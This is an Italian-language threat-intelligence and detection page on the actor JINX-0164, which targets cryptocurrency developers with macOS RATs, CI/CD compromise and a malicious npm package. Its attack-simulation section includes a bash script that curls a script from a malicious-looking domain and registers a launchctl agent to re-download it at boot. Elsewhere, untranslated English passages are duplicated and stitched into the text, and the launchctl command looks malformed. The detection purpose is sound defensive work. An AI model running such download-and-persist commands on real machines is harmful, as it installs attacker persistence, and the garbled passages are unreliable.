Infrastruttura di Sviluppo Software Crypto Presa di Mira da un Nuovo Attore di Minaccia
Detection stack
- AIDR
- Alert
- ETL
- Query
Sintesi
Un attore di minaccia motivato finanziariamente, tracciato come JINX-0164, sta prendendo di mira gli sviluppatori di criptovalute attraverso social engineering su LinkedIn, malware per macOS e compromissione CI/CD. Il gruppo distribuisce un RAT Python personalizzato noto come AUDIOFIX e una backdoor basata su Go chiamata MINIRAT, entrambe configurate per comunicare con domini di comando e controllo codificati. Dopo aver ottenuto l’accesso, gli attaccanti rubano credenziali cloud e di sviluppo, manomettono i repository di codice e pubblicano persino pacchetti npm dannosi per espandere l’accesso e consentire il furto di criptovalute. La campagna riflette una minaccia sofisticata alla catena di fornitura mirata al ciclo di vita dello sviluppo software.
Indagine
Wiz CIRT ha seguito l’intrusione dal primo contatto su LinkedIn attraverso la consegna del link dannoso, l’esecuzione di payload su macOS, il furto di credenziali e il movimento laterale nei repository di codice sorgente. La loro indagine ha scoperto script dropper, persistenza tramite launchctl, e l’uso dello strumento nord-stream per l’esfiltrazione segreta. I ricercatori hanno anche identificato più domini spoofati, nodi di uscita VPN, e una compromissione della catena di fornitura che coinvolge il pacchetto npm @velora-dex/sdk . Percorsi di file, hash, domini e indirizzi IP sono stati raccolti per supportare il rilevamento e la caccia alle minacce.
Mitigazione
Le difese raccomandate includono il monitoraggio dei sistemi macOS per la persistenza, il rilevamento di LaunchAgents sospetti e il blocco dei domini dannosi noti e dei server di comando e controllo. Le organizzazioni dovrebbero imporre commit firmati, abilitare la GitHub Vigilant Mode e osservare i commit non verificati o cambiamenti insoliti nei workflow CI/CD. L’uso di VPN dovrebbe essere limitato ai fornitori approvati e l’autenticazione multifattore dovrebbe essere richiesta per gli account cloud e le piattaforme di sviluppo. launchctl persistence, detecting suspicious LaunchAgents, and blocking the known malicious domains and command-and-control servers. Organizations should enforce signed commits, enable GitHub Vigilant Mode, and watch for unverified commits or unusual CI/CD workflow changes. VPN use should be limited to approved providers, and MFA should be required for cloud accounts and development platforms.
Risposta
Se viene rilevata questa attività, isolare immediatamente il sistema macOS interessato, raccogliere artefatti forensi e revocare le credenziali e i token API compromessi. I team di sicurezza dovrebbero eseguire una revisione completa dei repository di codice per commit dannosi e rimuovere eventuali pacchetti npm compromessi. I domini di comando e controllo identificati dovrebbero essere bloccati e le regole del firewall dovrebbero essere aggiornate per negare il traffico agli indirizzi IP dannosi. I soggetti interessati dovrebbero essere informati e dovrebbe essere considerata la condivisione di intelligence sulle minacce con partner fidati del settore.
Flusso di Attacco
Stiamo ancora aggiornando questa parte. Iscriviti per essere avvisato
AvvisamiRilevamenti
Download di File Sospetto tramite Indirizzo IP Diretto (via proxy)
Visualizza
Possibile Tentativo di Comunicazione di Ricerca Dominio IP (via dns)
Visualizza
Tentativo di Esecuzione di Launchctl su MacOS (via cmdline)
Visualizza
Possibile Esecuzione tramite Uso di chmod e nohup in Unico Comando (via cmdline)
Visualizza
Possibile Manipolazione di Stringhe Codificate in Base64 [MacOS] (via cmdline)
Visualizza
Tentativo Sospetto di Esecuzione Curl [MacOS] (via cmdline)
Visualizza
Indicatori di Compromissione (HashSha256) per rilevare: Impegno alla Compromissione: Un Nuovo Attore di Minaccia Mirato all’Infrastruttura di Sviluppo Software dell’Industria delle Criptovalute
Visualizza
Indicatori di Compromissione (SourceIP) per rilevare: Impegno alla Compromissione: Un Nuovo Attore di Minaccia Mirato all’Infrastruttura di Sviluppo Software dell’Industria delle Criptovalute
Visualizza
Indicatori di Compromissione (DestinationIP) per rilevare: Impegno alla Compromissione: Un Nuovo Attore di Minaccia Mirato all’Infrastruttura di Sviluppo Software dell’Industria delle Criptovalute
Visualizza
Rilevamento della Persistenza e Download di Payload del Malware AUDIOFIX [Creazione Processo Linux]
Visualizza
Esecuzione di Simulazione
Requisito Preliminare: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.
Motivazione: Questa sezione dettagliata l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa dell’Attacco e Comandi:
- Punto di accesso iniziale: Un attaccante invia un’email di phishing contenente un link dannoso (T1566.004). La vittima clicca sul link, che punta a
https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh. - Download del payload: Il terminale della vittima esegue un comando
curlche preleva silenziosamente lo script. - Configurazione della persistenza: Lo script registra un agente di lancio usando
launchctl submit, incorporando lo stesso comando in modo che il payload venga scaricato nuovamente ad ogni avvio (T1546.006).curlcommand so the payload is re‑downloaded on each boot (T1546.006). - Esecuzione: L’agente di lancio si esegue con privilegi di sistema, eseguendo lo script scaricato per compromettere l’host.
- Punto di accesso iniziale: Un attaccante invia un’email di phishing contenente un link dannoso (T1566.004). La vittima clicca sul link, che punta a
-
Script di Test di Regressione: (eseguire su una macchina macOS di test; richiede diritti di amministratore)
#!/bin/bash set -euo pipefail # 1. Simula il download del curl dannoso (nessun codice realmente dannoso) MALICIOUS_URL="https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh" curl -fsSL "$MALICIOUS_URL" -o /tmp/audio-fix.sh # 2. Registra un agente di lancio che riscarica lo script all'avvio launchctl submit -l com.malicious.audiofix -p /usr/bin/curl -a -c -t "30" /usr/bin/curl -fsSL "$MALICIOUS_URL" -o /tmp/audio-fix.sh echo "Agente di lancio dannoso registrato. Controlla SIEM per il rilevamento." -
Comandi di Pulizia:
# Rimuovi l'agente di lancio launchctl remove com.malicious.audiofix || true # Cancella lo script scaricato rm -f /tmp/audio-fix.sh echo "Pulizia completata."
Fine del Rapporto